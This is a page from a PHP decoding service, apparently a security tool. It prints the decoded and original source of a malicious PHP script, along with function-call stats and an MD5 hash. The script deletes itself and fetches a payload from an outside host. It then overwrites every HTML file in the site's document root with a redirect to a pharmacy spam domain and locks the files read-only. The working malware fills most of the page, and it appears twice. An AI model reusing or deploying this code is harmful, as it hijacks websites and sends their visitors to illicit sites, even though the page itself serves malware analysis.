Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php unlink(__FILE__); @ignore_user_abort (true); set_time_limit ( 111000 ); $x..

Decoded Output download

<?php unlink(__FILE__);  
@ignore_user_abort (true); 
set_time_limit ( 111000 ); 
 
 
 
$x_domains = explode(',' ,  "alldrugmall.com"); 
 
 
 
 
 
$ggg = file_get_contents('http://bizmatebd.com/zqmarkets.txt');  
//$ggg = ''; 
 
 
 
//$ggg = ''; 
 
if (strlen($ggg) < 10000 )  
{ 
//$x_domains = explode(',' ,  "cheapmedplace.com"); 
$ggg = base64_decode("PGh0bWw+DQogICAgPGhlYWQ+DQogICAgICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KICAgICAgICA8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0jI0xJTktfVVJMIyMiIC8+DQogICAgPC9oZWFkPg0KDQogICAgPGJvZHk+DQogICAgICAgIDxwPllvdSBhcmUgbm90IGxvZ2dlZCBpbiE8L3A+DQogICAgICAgIDxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uID0gIiMjTElOS19VUkwjIyI7DQogICAgICAgIDwvc2NyaXB0Pg0KICAgIDwvYm9keT4NCjwvaHRtbD4NCg=="); 
} 
 
 
 
 
//$ggg = base64_encode(str_replace( '##LINK_URL##',  base64_encode('http://' .  $x_domains[array_rand($x_domains)]  . '/') , $ggg )); 
//$ggg = base64_encode(str_replace( '##LINK_URL##',  'http://' .  $x_domains[array_rand($x_domains)]  . '/' , $ggg )); 
 $ggg = base64_encode(str_replace( '##LINK_URL##',  'https://' .  $x_domains[array_rand($x_domains)]  . '/' , $ggg )); 
 
//echo $ggg; 
 
 
$root =  $_SERVER["DOCUMENT_ROOT"]; 
if (strpos($root,'/') !== false) { 
    $path =  $root . "/"; 
} 
else $path = $root . "\"; 
 
//echo $path . PHP_EOL; 
 
$root = $path; 
 
 
 
 
$shell_url = ((!empty($_SERVER['HTTPS'])) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] ; 
 
foreach(glob($root . '/*.html') as $fname) { 
//  echo $fname . PHP_EOL; 
 
 
$files_changed++; 
//echo  'INDEX.PHP PATCHED--1111111' . PHP_EOL; 
 
$filepath=$fname; 
$basename = preg_replace('/^.+[\\\/]/', '', $filepath); 
//echo $basename; 
 
 
chmod($fname, 0644); 
 
 
file_put_contents($fname, base64_decode($ggg)); 
$fp = fopen($fname , 'w'); 
fwrite($fp, base64_decode($ggg)); 
fclose($fp); 
chmod($fname, 0444); 
 
 
 
//echo file_get_contents($fname); 
 
//echo $shell_url . '/' . $basename . PHP_EOL ; 
//break; 
 
 
} 
 
 
 
//echo 'Files = ' . $files_changed  . '  Links changed in  '  . $links_replaced . ' files';  
echo 'Domain = ' .  $server_domain .  '  Files = ' . $files_changed  . '  Links changed in  '  . $links_replaced . ' files';  
 
 
 
 ?>

Did this file decode correctly?

Original Code

<?php unlink(__FILE__); 
@ignore_user_abort (true);
set_time_limit ( 111000 );



$x_domains = explode(',' ,  "alldrugmall.com");





$ggg = file_get_contents('http://bizmatebd.com/zqmarkets.txt'); 
//$ggg = '';



//$ggg = '';

if (strlen($ggg) < 10000 ) 
{
//$x_domains = explode(',' ,  "cheapmedplace.com");
$ggg = base64_decode("PGh0bWw+DQogICAgPGhlYWQ+DQogICAgICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KICAgICAgICA8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0jI0xJTktfVVJMIyMiIC8+DQogICAgPC9oZWFkPg0KDQogICAgPGJvZHk+DQogICAgICAgIDxwPllvdSBhcmUgbm90IGxvZ2dlZCBpbiE8L3A+DQogICAgICAgIDxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPg0KICAgICAgICAgICAgd2luZG93LmxvY2F0aW9uID0gIiMjTElOS19VUkwjIyI7DQogICAgICAgIDwvc2NyaXB0Pg0KICAgIDwvYm9keT4NCjwvaHRtbD4NCg==");
}




//$ggg = base64_encode(str_replace( '##LINK_URL##',  base64_encode('http://' .  $x_domains[array_rand($x_domains)]  . '/') , $ggg ));
//$ggg = base64_encode(str_replace( '##LINK_URL##',  'http://' .  $x_domains[array_rand($x_domains)]  . '/' , $ggg ));
 $ggg = base64_encode(str_replace( '##LINK_URL##',  'https://' .  $x_domains[array_rand($x_domains)]  . '/' , $ggg ));

//echo $ggg;


$root =  $_SERVER["DOCUMENT_ROOT"];
if (strpos($root,'/') !== false) {
    $path =  $root . "/";
}
else $path = $root . "\\";

//echo $path . PHP_EOL;

$root = $path;




$shell_url = ((!empty($_SERVER['HTTPS'])) ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] ;

foreach(glob($root . '/*.html') as $fname) {
//  echo $fname . PHP_EOL;


$files_changed++;
//echo  'INDEX.PHP PATCHED--1111111' . PHP_EOL;

$filepath=$fname;
$basename = preg_replace('/^.+[\\\\\\/]/', '', $filepath);
//echo $basename;


chmod($fname, 0644);


file_put_contents($fname, base64_decode($ggg));
$fp = fopen($fname , 'w');
fwrite($fp, base64_decode($ggg));
fclose($fp);
chmod($fname, 0444);



//echo file_get_contents($fname);

//echo $shell_url . '/' . $basename . PHP_EOL ;
//break;


}



//echo 'Files = ' . $files_changed  . '  Links changed in  '  . $links_replaced . ' files'; 
echo 'Domain = ' .  $server_domain .  '  Files = ' . $files_changed  . '  Links changed in  '  . $links_replaced . ' files'; 



Function Calls

unlink 1

Variables

None

Stats

MD5 63d4c790ccc73a011213a10e54576d05
Eval Count 0
Decode Time 86 ms